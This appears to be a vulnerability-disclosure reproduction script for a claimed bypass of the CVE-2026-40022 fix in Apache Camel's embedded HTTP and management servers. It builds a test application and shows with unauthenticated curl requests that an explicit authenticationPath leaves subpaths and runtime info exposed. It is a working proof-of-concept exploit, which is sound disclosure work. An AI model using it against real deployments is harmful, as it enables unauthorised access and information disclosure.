#!/bin/bash
# =============================================================================
# CVE-2026-40022 VARIANT / BYPASS reproduction
#   Apache Camel camel-platform-http-main (embedded HTTP + management servers)
#
# Parent CVE: when camel.server.path / camel.management.path is a non-root
# context path and camel.server.authenticationPath / camel.management.
# authenticationPath is NOT explicitly set, the auth handler is registered at
# the exact context path on the Vert.x sub-router, so subpaths are not protected.
# The official fix (camel-4.14.6 / commit a9ebee94af97) changes only the DEFAULT
# resolution: resolveAuthenticationPath() now returns "/*" when no explicit
# authenticationPath is set. Explicit authenticationPath values are still
# returned VERBATIM and registered relative to the sub-router.
#
# THIS VARIANT (bypass on the FIXED version):
#   The user-facing doc for authenticationPath says "Set HTTP url path of
#   embedded server that is protected by authentication configuration" -- i.e.
#   absolute-URL-path semantics, which encourages an operator to set
#   authenticationPath to the context prefix (e.g. /api or /admin) to "protect
#   that URL path". Because the value is registered RELATIVE to the sub-router,
#   authenticationPath=/api matches only the relative path /api (absolute
#   /api/api), NOT the real subpaths (/api/hello). The fix returns this explicit
#   value verbatim (resolveAuthenticationPath ignores the contextPath argument),
#   so on the PATCHED 4.14.6 an unauthenticated GET /api/hello still returns
#   200, and on the management server /admin/observe/info still leaks runtime
#   metadata (user, working/home dir, pid, JVM/OS) without credentials.
#
# This script is self-contained and idempotent. It builds the SAME minimal Camel
# Main application against the VULNERABLE (4.14.5) and FIXED (4.14.6) releases
# using a shared Maven cache, then for each version runs:
#   * business server, explicit camel.server.authenticationPath=/api  (BYPASS)
#   * business server, default (no authenticationPath)               (CONTROL)
#   * management server, explicit camel.management.authenticationPath=/admin (BYPASS)
#   * management server, default (no mgmt authenticationPath)               (CONTROL)
# and probes the protected subpaths with and without credentials.
#
# Exit 0 = bypass reproduced on the FIXED version (auth bypass + info disclosure
#          via doc-encouraged explicit authenticationPath, while the default is
#          correctly fixed -> 401).
# Exit 1 = bypass NOT reproduced on the fixed version.
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS"

PORT="${PORT:-8080}"
MGMT_PORT="${MGMT_PORT:-8081}"
VULN_VERSION="4.14.5"
FIXED_VERSION="4.14.6"
ARTIFACT="org.apache.camel:camel-platform-http-main"

log() { echo "[$(date +%H:%M:%S)] $*"; }

# ---- Resolve shared project cache (m2 repo + workdir) -----------------------
PROJECT_CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR="$(python3 -c 'import json,sys;print(json.load(open(sys.argv[1])).get("project_cache_dir") or "")' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
fi
if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
  M2_REPO="$PROJECT_CACHE_DIR/m2-repo"
  WORKDIR="$PROJECT_CACHE_DIR/camel-auth-variant"
else
  M2_REPO="$VV_DIR/m2-repo"
  WORKDIR="$VV_DIR/proj"
fi
mkdir -p "$WORKDIR" "$M2_REPO"

# ---- Ensure Java 17 + Maven -------------------------------------------------
ensure_java_maven() {
  command -v java >/dev/null 2>&1 || { log "FATAL: java unavailable"; exit 2; }
  command -v mvn >/dev/null 2>&1 || { log "FATAL: mvn unavailable"; exit 2; }
  command -v curl >/dev/null 2>&1 || { log "FATAL: curl unavailable"; exit 2; }
}
ensure_java_maven

# ---- Materialize the minimal Camel Main application -------------------------
write_project() {
  mkdir -p "$WORKDIR/src/main/java/repro" "$WORKDIR/src/main/resources"
  cat > "$WORKDIR/pom.xml" <<POM
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>repro</groupId>
  <artifactId>camel-auth-variant</artifactId>
  <version>1.0.0</version>
  <packaging>jar</packaging>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <camel.version>${FIXED_VERSION}</camel.version>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.apache.camel</groupId>
      <artifactId>camel-platform-http-main</artifactId>
      <version>\${camel.version}</version>
    </dependency>
    <dependency>
      <groupId>org.apache.camel</groupId>
      <artifactId>camel-management</artifactId>
      <version>\${camel.version}</version>
    </dependency>
    <dependency>
      <groupId>org.apache.camel</groupId>
      <artifactId>camel-console</artifactId>
      <version>\${camel.version}</version>
    </dependency>
    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-simple</artifactId>
      <version>2.0.16</version>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.13.0</version>
      </plugin>
    </plugins>
  </build>
</project>
POM
  cat > "$WORKDIR/src/main/java/repro/App.java" <<'JAVA'
package repro;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.main.Main;
public class App {
    public static void main(String[] args) throws Exception {
        Main main = new Main();
        main.configure().addRoutesBuilder(new RouteBuilder() {
            @Override
            public void configure() {
                from("platform-http:/hello").setBody(constant("ok"));
            }
        });
        main.run();
    }
}
JAVA
  printf 'user.admin=secret\n' > "$WORKDIR/src/main/resources/auth.properties"
  cat > "$WORKDIR/src/main/resources/simplelogger.properties" <<'SLF4J'
org.slf4j.simpleLogger.defaultLogLevel=info
org.slf4j.simpleLogger.showDateTime=true
org.slf4j.simpleLogger.showThreadName=false
org.slf4j.simpleLogger.showShortName=true
SLF4J
  printf 'camel.server.enabled=true\ncamel.server.path=/api\ncamel.server.port=%s\ncamel.server.authenticationEnabled=true\ncamel.server.basicPropertiesFile=auth.properties\n' "$PORT" \
    > "$WORKDIR/src/main/resources/application.properties"
}
write_project

# ---- Build for a version (sets target/cp.txt + target/classes) --------------
build_version() {
  local version="$1"
  sed -i "s|<camel.version>.*</camel.version>|<camel.version>${version}</camel.version>|" "$WORKDIR/pom.xml"
  log "Building ${ARTIFACT}:${version} ..."
  if ! ( cd "$WORKDIR" && mvn -q -e clean compile dependency:build-classpath \
            -Dmaven.repo.local="$M2_REPO" -Dmdep.outputFile=target/cp.txt ) \
       > "$LOGS/build_${version}.log" 2>&1; then
    log "BUILD FAILED for ${version}; see $LOGS/build_${version}.log"
    tail -40 "$LOGS/build_${version}.log" || true
    return 1
  fi
  log "Built ${version} OK"
}

# ---- Write application.properties to BOTH src and runtime classpath ---------
write_props() { printf '%s\n' "$1" > "$WORKDIR/src/main/resources/application.properties"; printf '%s\n' "$1" > "$WORKDIR/target/classes/application.properties"; }

status_of() { grep -m1 -oE 'HTTP/[0-9.]+ [0-9]+' "$1" 2>/dev/null | awk '{print $2}'; }

# ---- Run one business-server config -----------------------------------------
# args: cid authPath_or_UNSET  -> sets globals BIZ_NC BIZ_WC BIZ_READY
run_business() {
  local cid="$1" ap="$2"
  local props="camel.server.enabled=true
camel.server.path=/api
camel.server.port=${PORT}
camel.server.authenticationEnabled=true
camel.server.basicPropertiesFile=auth.properties"
  [ "$ap" != "UNSET" ] && props="$props
camel.server.authenticationPath=${ap}"
  write_props "$props"
  local cp; cp="$(cat "$WORKDIR/target/cp.txt")"
  fuser -k "${PORT}/tcp" 2>/dev/null || true; sleep 1
  ( cd "$WORKDIR" && java -cp "target/classes:${cp}" repro.App ) > "$LOGS/${cid}_app.log" 2>&1 &
  local pid=$!
  local ready=no
  for i in $(seq 1 60); do
    kill -0 "$pid" 2>/dev/null || break
    local c; c="$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:${PORT}/api/hello" 2>/dev/null || true)"
    [ -n "$c" ] && [ "$c" != "000" ] && { ready=yes; break; }
    sleep 1
  done
  local nc=none wc=none
  if [ "$ready" = "yes" ]; then
    curl -s -i "http://localhost:${PORT}/api/hello" > "$LOGS/${cid}_no_creds.txt" 2>/dev/null || true
    nc="$(status_of "$LOGS/${cid}_no_creds.txt" || echo none)"
    curl -s -i -u admin:secret "http://localhost:${PORT}/api/hello" > "$LOGS/${cid}_with_creds.txt" 2>/dev/null || true
    wc="$(status_of "$LOGS/${cid}_with_creds.txt" || echo none)"
  fi
  kill "$pid" 2>/dev/null || true; sleep 1; kill -9 "$pid" 2>/dev/null || true; fuser -k "${PORT}/tcp" 2>/dev/null || true
  BIZ_READY="$ready"; BIZ_NC="$nc"; BIZ_WC="$wc"
  log "${cid} authPath=${ap} no_creds=${nc} with_creds=${wc} ready=${ready}"
}

# ---- Run one management-server config (business server kept as control) -----
# args: cid mgmtAuthPath_or_UNSET -> sets globals MGMT_NC MGMT_WC MGMT_READY
run_mgmt() {
  local cid="$1" map="$2"
  local props="camel.server.enabled=true
camel.server.path=/api
camel.server.port=${PORT}
camel.server.authenticationEnabled=true
camel.server.basicPropertiesFile=auth.properties
camel.server.authenticationPath=/*

camel.management.enabled=true
camel.management.path=/admin
camel.management.port=${MGMT_PORT}
camel.management.infoEnabled=true
camel.management.authenticationEnabled=true
camel.management.basicPropertiesFile=auth.properties"
  [ "$map" != "UNSET" ] && props="$props
camel.management.authenticationPath=${map}"
  write_props "$props"
  local cp; cp="$(cat "$WORKDIR/target/cp.txt")"
  fuser -k "${PORT}/tcp" 2>/dev/null || true; fuser -k "${MGMT_PORT}/tcp" 2>/dev/null || true; sleep 1
  ( cd "$WORKDIR" && java -cp "target/classes:${cp}" repro.App ) > "$LOGS/${cid}_app.log" 2>&1 &
  local pid=$!
  local ready=no
  for i in $(seq 1 60); do
    kill -0 "$pid" 2>/dev/null || break
    local c; c="$(curl -s -o /dev/null -w "%{http_code}" "http://localhost:${MGMT_PORT}/admin/observe/info" 2>/dev/null || true)"
    [ -n "$c" ] && [ "$c" != "000" ] && { ready=yes; break; }
    sleep 1
  done
  local nc=none wc=none
  if [ "$ready" = "yes" ]; then
    curl -s -i "http://localhost:${MGMT_PORT}/admin/observe/info" > "$LOGS/${cid}_info_no_creds.txt" 2>/dev/null || true
    nc="$(status_of "$LOGS/${cid}_info_no_creds.txt" || echo none)"
    curl -s -i -u admin:secret "http://localhost:${MGMT_PORT}/admin/observe/info" > "$LOGS/${cid}_info_with_creds.txt" 2>/dev/null || true
    wc="$(status_of "$LOGS/${cid}_info_with_creds.txt" || echo none)"
  fi
  kill "$pid" 2>/dev/null || true; sleep 1; kill -9 "$pid" 2>/dev/null || true
  fuser -k "${PORT}/tcp" 2>/dev/null || true; fuser -k "${MGMT_PORT}/tcp" 2>/dev/null || true
  MGMT_READY="$ready"; MGMT_NC="$nc"; MGMT_WC="$wc"
  log "${cid} mgmtAuthPath=${map} info_no_creds=${nc} info_with_creds=${wc} ready=${ready}"
}

# ---- Run the full matrix for one version ------------------------------------
# args: version role  -> sets globals: <ROLE>_BIZ_BYPASS_NC, <ROLE>_BIZ_DEFAULT_NC,
#      <ROLE>_MGMT_BYPASS_NC, <ROLE>_MGMT_DEFAULT_NC, <ROLE>_OK
test_version() {
  local version="$1" role="$2"
  build_version "$version" || { eval "${role^^}_OK=no"; return 0; }

  run_business  "${role}_biz_bypass"  "/api";  eval "${role^^}_BIZ_BYPASS_NC=$BIZ_NC"
  run_business  "${role}_biz_default" "UNSET"; eval "${role^^}_BIZ_DEFAULT_NC=$BIZ_NC"
  run_mgmt      "${role}_mgmt_bypass" "/admin"; eval "${role^^}_MGMT_BYPASS_NC=$MGMT_NC"
  run_mgmt      "${role}_mgmt_default" "UNSET"; eval "${role^^}_MGMT_DEFAULT_NC=$MGMT_NC"
  eval "${role^^}_OK=yes"
}

VULNERABLE_OK=no; FIXED_OK=no
VULNERABLE_BIZ_BYPASS_NC=none; VULNERABLE_BIZ_DEFAULT_NC=none
VULNERABLE_MGMT_BYPASS_NC=none; VULNERABLE_MGMT_DEFAULT_NC=none
FIXED_BIZ_BYPASS_NC=none; FIXED_BIZ_DEFAULT_NC=none
FIXED_MGMT_BYPASS_NC=none; FIXED_MGMT_DEFAULT_NC=none

test_version "$VULN_VERSION"   vulnerable
test_version "$FIXED_VERSION"  fixed

log "RESULT vuln(biz_default=${VULNERABLE_BIZ_DEFAULT_NC}, biz_bypass=${VULNERABLE_BIZ_BYPASS_NC}, mgmt_default=${VULNERABLE_MGMT_DEFAULT_NC}, mgmt_bypass=${VULNERABLE_MGMT_BYPASS_NC})"
log "RESULT fixed(biz_default=${FIXED_BIZ_DEFAULT_NC}, biz_bypass=${FIXED_BIZ_BYPASS_NC}, mgmt_default=${FIXED_MGMT_DEFAULT_NC}, mgmt_bypass=${FIXED_MGMT_BYPASS_NC})"

# ---- Verdict ----------------------------------------------------------------
# Bypass on FIXED = explicit-prefix authPath still yields 200 no creds on the
# patched build, WHILE the default is correctly fixed (401). This proves the
# fix closed the default but left the explicit-prefix data path open.
BYPASS_CONFIRMED=no
if [ "$FIXED_OK" = "yes" ] \
   && [ "$FIXED_BIZ_DEFAULT_NC"  = "401" ] \
   && [ "$FIXED_BIZ_BYPASS_NC"   = "200" ] \
   && [ "$FIXED_MGMT_DEFAULT_NC" = "401" ] \
   && [ "$FIXED_MGMT_BYPASS_NC"  = "200" ]; then
  BYPASS_CONFIRMED=yes
fi

# ---- Human-readable summary log ---------------------------------------------
{
  echo "CVE-2026-40022 VARIANT reproduction summary"
  echo "Artifact: ${ARTIFACT}"
  echo "Vulnerable: ${VULN_VERSION}   Fixed: ${FIXED_VERSION}"
  echo "Route: platform-http:/hello (served at /api/hello); mgmt info at /admin/observe/info"
  echo "---- Vulnerable (${VULN_VERSION}) ----"
  echo "  business default (no authPath)      /api/hello no creds : HTTP ${VULNERABLE_BIZ_DEFAULT_NC}"
  echo "  business explicit authPath=/api     /api/hello no creds : HTTP ${VULNERABLE_BIZ_BYPASS_NC}"
  echo "  mgmt     default (no mgmt authPath) /admin/observe/info : HTTP ${VULNERABLE_MGMT_DEFAULT_NC}"
  echo "  mgmt     explicit authPath=/admin   /admin/observe/info : HTTP ${VULNERABLE_MGMT_BYPASS_NC}"
  echo "---- Fixed (${FIXED_VERSION}) ----"
  echo "  business default (no authPath)      /api/hello no creds : HTTP ${FIXED_BIZ_DEFAULT_NC}   (CVE fix: should be 401)"
  echo "  business explicit authPath=/api     /api/hello no creds : HTTP ${FIXED_BIZ_BYPASS_NC}    (BYPASS if 200)"
  echo "  mgmt     default (no mgmt authPath) /admin/observe/info : HTTP ${FIXED_MGMT_DEFAULT_NC}  (CVE fix: should be 401)"
  echo "  mgmt     explicit authPath=/admin   /admin/observe/info : HTTP ${FIXED_MGMT_BYPASS_NC}   (BYPASS if 200)"
  if [ "$BYPASS_CONFIRMED" = "yes" ]; then
    echo "VERDICT: BYPASS CONFIRMED on fixed ${FIXED_VERSION} -- explicit authenticationPath set to"
    echo "         the context prefix (/api, /admin) leaves subpaths unauthenticated (200) on the"
    echo "         PATCHED build, while the default is correctly fixed (401)."
  else
    echo "VERDICT: bypass NOT confirmed on the fixed version."
  fi
} > "$LOGS/variant_summary.log"
cat "$LOGS/variant_summary.log"

# ---- runtime_manifest.json --------------------------------------------------
python3 - "$VV_DIR/runtime_manifest.json" "$BYPASS_CONFIRMED" \
  "$VULNERABLE_BIZ_DEFAULT_NC" "$VULNERABLE_BIZ_BYPASS_NC" \
  "$FIXED_BIZ_DEFAULT_NC" "$FIXED_BIZ_BYPASS_NC" \
  "$FIXED_MGMT_DEFAULT_NC" "$FIXED_MGMT_BYPASS_NC" <<'PY'
import json, sys
(path, confirmed, vbd, vbb, fbd, fbb, fmd, fmb) = sys.argv[1:9]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Unauthenticated HTTP GET to embedded Camel platform-http subpath (/api/hello) and management subpath (/admin/observe/info) when an explicit authenticationPath is set to the context prefix",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["openjdk-17", "maven", "camel-platform-http-main", "camel-platform-http-vertx", "vertx-platform-http-server", "camel-management", "camel-console"],
  "tested_versions": {"vulnerable": "4.14.5", "fixed": "4.14.6"},
  "variant_config": {
    "business_bypass": "camel.server.path=/api + camel.server.authenticationPath=/api",
    "management_bypass": "camel.management.path=/admin + camel.management.authenticationPath=/admin"
  },
  "results": {
    "vulnerable_4.14.5": {"biz_default_no_creds": vbd, "biz_bypass_no_creds": vbb},
    "fixed_4.14.6": {"biz_default_no_creds": fbd, "biz_bypass_no_creds": fbb,
                     "mgmt_default_no_creds": fmd, "mgmt_bypass_no_creds": fmb}
  },
  "proof_artifacts": [
    "logs/variant_summary.log",
    "logs/fixed_biz_bypass_no_creds.txt",
    "logs/fixed_biz_default_no_creds.txt",
    "logs/fixed_mgmt_bypass_info_no_creds.txt",
    "logs/fixed_mgmt_default_info_no_creds.txt",
    "logs/fixed_biz_bypass_app.log",
    "logs/fixed_mgmt_bypass_app.log"
  ],
  "notes": (
    "On fixed 4.14.6: default authPath -> 401 (CVE fix works); explicit authPath=/api -> /api/hello 200 "
    "no creds (BYPASS); explicit mgmt authPath=/admin -> /admin/observe/info 200 no creds (info "
    "disclosure BYPASS). bypass_confirmed=%s. The fix's resolveAuthenticationPath returns explicit "
    "values verbatim and ignores contextPath, so a doc-encouraged context-prefix authPath is "
    "registered relative to the sub-router and does not protect subpaths." % confirmed
  ),
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
PY

# ---- Best-effort proof-carry copy into durable cache ------------------------
if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
  PC_DIR="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
  mkdir -p "$PC_DIR"
  cp -f "$VV_DIR/runtime_manifest.json" "$PC_DIR/variant_runtime_manifest.json" 2>/dev/null || true
  cp -f "$LOGS/variant_summary.log" "$PC_DIR/variant_summary.log" 2>/dev/null || true
fi

if [ "$BYPASS_CONFIRMED" = "yes" ]; then
  log "CVE-2026-40022 variant/bypass CONFIRMED on fixed ${FIXED_VERSION}."
  exit 0
else
  log "CVE-2026-40022 variant NOT reproduced on the fixed version (see $LOGS)."
  exit 1
fi
